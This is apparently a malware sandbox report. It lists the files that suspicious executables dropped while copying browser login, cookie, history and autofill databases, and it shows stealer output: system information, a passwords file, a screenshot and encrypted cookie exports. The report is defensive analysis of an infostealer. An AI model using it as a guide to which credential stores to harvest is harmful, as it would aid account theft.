C:\Users\user\AppData\Local\Temp\span_9Vvud2RskkJ\3b6N2Xdh3CYwplaces.sqlite

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_9Vvud2RskkJ\4qiRY77h2yCvHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_9Vvud2RskkJ\8iNF1Nz4zbVWWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_9Vvud2RskkJ\9FPvRBoe29RfHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_9Vvud2RskkJ\D87fZN3R3jFeplaces.sqlite

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_9Vvud2RskkJ\FuC1R3ngVwmbLogin Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_9Vvud2RskkJ\JYDeQTi5ve0LLogin Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_9Vvud2RskkJ\JzcGxaZ6cTW4Web Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_9Vvud2RskkJ\NmqrtwbiUOxULogin Data For Account

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_9Vvud2RskkJ\UKZyWEBa6gPoWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_9Vvud2RskkJ\XAWjkAVXU6QkWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_9Vvud2RskkJ\Xv6O6ANXmRXk_nKzAGAD.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	468480
Entropy (8bit):	7.707638639777151
Encrypted:	false
SSDEEP:	12288:8fUVPK8c9FHGovaqSdUgGe2floqIIxuSyovf4CzBIG6Dac:RK/9F1vaqbeeloqII4SHv3OG6j
MD5:	F14B083F53FEFD0071732BF5C0DCD6FA
SHA1:	661566E9131C39A1B34CABDE9A14877D9BCB3D90
SHA-256:	2A7B010296F77BC811CDB2802DC11B7DA7E486A3C7CDBB6B2783B12B828BD57D
SHA-512:	889804F0872D7882EB9160EA4B0EF7E86079006965B988BB5426F36CB2B9B354F03C411759FF74D91905EAA67B88EA5F11BE76B5F0F4F47B8AA9B53FCB9FBCDF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I../...\|...\|...\|..}...\|..}...\|..}...\|..}...\|...\|V..\|.l.}...\|.l.}...\|.l.}@..\|.o.}...\|.o.}...\|Rich...\|........PE..L....yOf...............'.............F............@..........................p............@.................................DY..(............................P.......?...............................>..@...............@............................text...$........................... ..`.bss................................ ..`.rdata..x...........................@..@.data...d....p.......>..............@....reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_9Vvud2RskkJ\YdM0QkfCqu4yCookies

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_9Vvud2RskkJ\awQoSIKqgQx0History

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_9Vvud2RskkJ\hVBRUPtsp_uVWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_9Vvud2RskkJ\ja8C8_cnHi2VHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_9Vvud2RskkJ\vdhJfrtnt9_gWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixyCc4sVxQypGO1\Cookies\Chrome_Default.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	ASCII text, with very long lines (769), with CRLF line terminators
Category:	dropped
Size (bytes):	6085
Entropy (8bit):	6.038274200863744
Encrypted:	false
SSDEEP:	96:gxsumX/xKO2KbcRfbZJ5Jxjxcx1xcbza5BC126oxgxA26Fxr/CxbTxqCGYURxOeb:gWFXZQHRFJ5Pts7c3avC126Ygb6Lr/WY
MD5:	ACB5AD34236C58F9F7D219FB628E3B58
SHA1:	02E39404CA22F1368C46A7B8398F5F6001DB8F5C
SHA-256:	05E5013B848C2E619226F9E7A084DC7DCD1B3D68EE45108F552DB113D21B49D1
SHA-512:	5895F39765BA3CEDFD47D57203FD7E716347CD79277EDDCDC83A729A86E2E59F03F0E7B6B0D0E7C7A383755001EDACC82171052BE801E015E6BF7E6B9595767F
Malicious:	false
Reputation:	unknown
Preview:	.google.com.TRUE./.TRUE.1712145003.NID.ENC893_djEw3+k+F2A/rK1XOX2BXUq6pY2LBCOzoXODiJnrrvDbDsPWiYwKZowg9PxHqkTm37HpwC52rXpnuUFrQMpV3iKtdSHegOm+XguZZ6tGaCY2hGVyR8JgIqQma1WLXyhCiWqjou7/c3qSeaKyNoUKHa4TULX4ZnNNtXFoCuZcBAAy4tYcz+0BF4j/0Pg+MgV+s7367kYcjO4q3zwc+XorjSs7PlgWlYrcc55rCJplhJ+H13M00HIdLm+1t9PACck2xxSWX2DsA61sEDJCHEc=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.FALSE./.TRUE.1696413835..AspNetCore.AuthProvider.ENC893_djEwVWJCCNyFkY3ZM/58ZZ/F/bz9H1yPvi6FOaroXC+KU8E=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.TRUE./signin-oidc.TRUE.1696414135..AspNetCore.Correlation.mdRqPJxLbpyv7vX0eK9YkTR-xwcrW3VBLE4Y3HEvxuU.ENC893_djEwBAKLrkJs5PZ6BD7Beoa9N/bOSh5JtRch10gZT+E=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.TRUE./signin-oidc.TRUE.1696414135..AspNetCore.OpenIdConnect.Nonce.CfDJ8Kiuy_B5JgFMo7PeP95NLhqwcJ8koDy5pXkfoWsb5SbbU2hVCbsH2qt9GF_OVCqFkLEwhvzeADNQOF5RSmkDfh5RqfqlOkx5QWo4Lltvwb0CvwBFD8ujlm3BAglOeGca3ZatkLMUkH

C:\Users\user\AppData\Local\Temp\trixyCc4sVxQypGO1\History\Firefox_fqs92o4p.default-release.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	112
Entropy (8bit):	4.911305722693245
Encrypted:	false
SSDEEP:	3:N8DSLvIJiMgTE2WdkQUl7R8DSLvIJiMhKVX3L2WdkQUlv:2OLciodq7R8OLciA8dqv
MD5:	978B9515D3688A43726604AC169DF379
SHA1:	D61293AB99332FC45CAE37D78AB17A5DA5BCD189
SHA-256:	CDEF3FB1CE312E4B67DC5F1B1F9FB551241C08564FDB26AFA4CBF448BB02EA65
SHA-512:	86146AA576129B73743B1EBC0BC60880FDA58A11498048B3C68284C4520F1ADC324D016696B0E995A51AC56966E0F38B0AF12458A986868701C6AAAA89C829CB
Malicious:	false
Reputation:	unknown
Preview:	https://www.mozilla.org/privacy/firefox/.1696333827..https://www.mozilla.org/en-US/privacy/firefox/.1696333827..

C:\Users\user\AppData\Local\Temp\trixyCc4sVxQypGO1\information.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	7222
Entropy (8bit):	5.6226005400584
Encrypted:	false
SSDEEP:	192:xaQgvAtphWhcmEOA6YOVkmTFUINgMK38ggXUVUVSUq/CKje1OUpMvLGYL8lkULxW:fgvAtfWhcmEOA6YOVkmTaINgMK38ggkT
MD5:	663D33F40DB48C3CD55C19308684EC0F
SHA1:	2D4D8E4B89C8B2AF40445BE8E8C25663AF9291A8
SHA-256:	50BD2E2AFEF445F83A05E8820B49328BD046E33FB384963F767F08EF50849DCB
SHA-512:	4AD3DD61D9908C47B6A4162843BF56351CBC421D1AC6FAD3575012A26B2014A726014BBD8D3DFFB0631A90D2139FEAA5A716ACE25282593A891C0296EEED6127
Malicious:	false
Reputation:	unknown
Preview:	Build: default..Version: 2.0....Date: Fri May 24 07:42:32 2024.MachineID: 9e146be9-c76a-4720-bcdb-53011b87bd06..GUID: {a33c7340-61ca-11ee-8c18-806e6f6e6963}..HWID: 2e1bb46e4a078c1e0a63d6f72b146147....Path: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe..Work Dir: C:\Users\user\AppData\Local\Temp\trixyCc4sVxQypGO1....IP: 8.46.123.175..Location: US, New York City..ZIP (Autofills): -..Windows: Windows 10 Pro [x64]..Computer Name: 364339 [WORKGROUP]..User Name: user..Display Resolution: 1280x1024..Display Language: en-CH..Keyboard Languages: English (United Kingdom) / English (United Kingdom)..Local Time: 24/5/2024 7:42:32..TimeZone: UTC-5....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard #0: Microsoft Basic Display Adapter....[Processes]..System [4]..Registry [92]..smss.exe [324]..csrss.exe [408]..wininit.exe [484]..csrss.exe [492]..winlogon.exe [552]..services.exe [620]..lsass.exe [628]..svchost.exe [752]..fontdrv

C:\Users\user\AppData\Local\Temp\trixyCc4sVxQypGO1\passwords.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	2.518316437186352
Encrypted:	false
SSDEEP:	48:4MMMMMMMMMMdMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMMMMdMMMMMMMM3:q
MD5:	B3E9D0E1B8207AA74CB8812BAAF52EAE
SHA1:	A2DCE0FB6B0BBC955A1E72EF3D87CADCC6E3CC6B
SHA-256:	4993311FC913771ACB526BB5EF73682EDA69CD31AC14D25502E7BDA578FFA37C
SHA-512:	B17ADF4AA80CADC581A09C72800DA22F62E5FB32953123F2C513D2E88753C430CC996E82AAE7190C8CB3340FCF2D9E0D759D99D909D2461369275FBE5C68C27A
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixyCc4sVxQypGO1\screenshot.png

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	688011
Entropy (8bit):	7.923738060231329
Encrypted:	false
SSDEEP:	12288:wgwGeFgfb9fwAk7fw2kW/DjtT87krdq6PUMxPEHWyBuOnVaQNv8l7azLhFAg17D/:ejGfRfwAufpk8tTakZqIxuWCnoO08Lwa
MD5:	B9B00C8252CAC340D63CA25333BC16AD
SHA1:	7E9AAA6053B1B16CEB28B2E92E018A9F17219084
SHA-256:	057A6BEEFFDD3E5F1E7521DD74423216ADAB14626D36344BC538BE7A2A997907
SHA-512:	BDEBE40614747441FD665150FD438C4612BD27AE09EF8B23EEF91363423ADEDA368B97EE60CFCFC50CFA2D1639DF138BF2093220D9E5F78CA0A8B5DC14C3117C
Malicious:	false
Reputation:	unknown
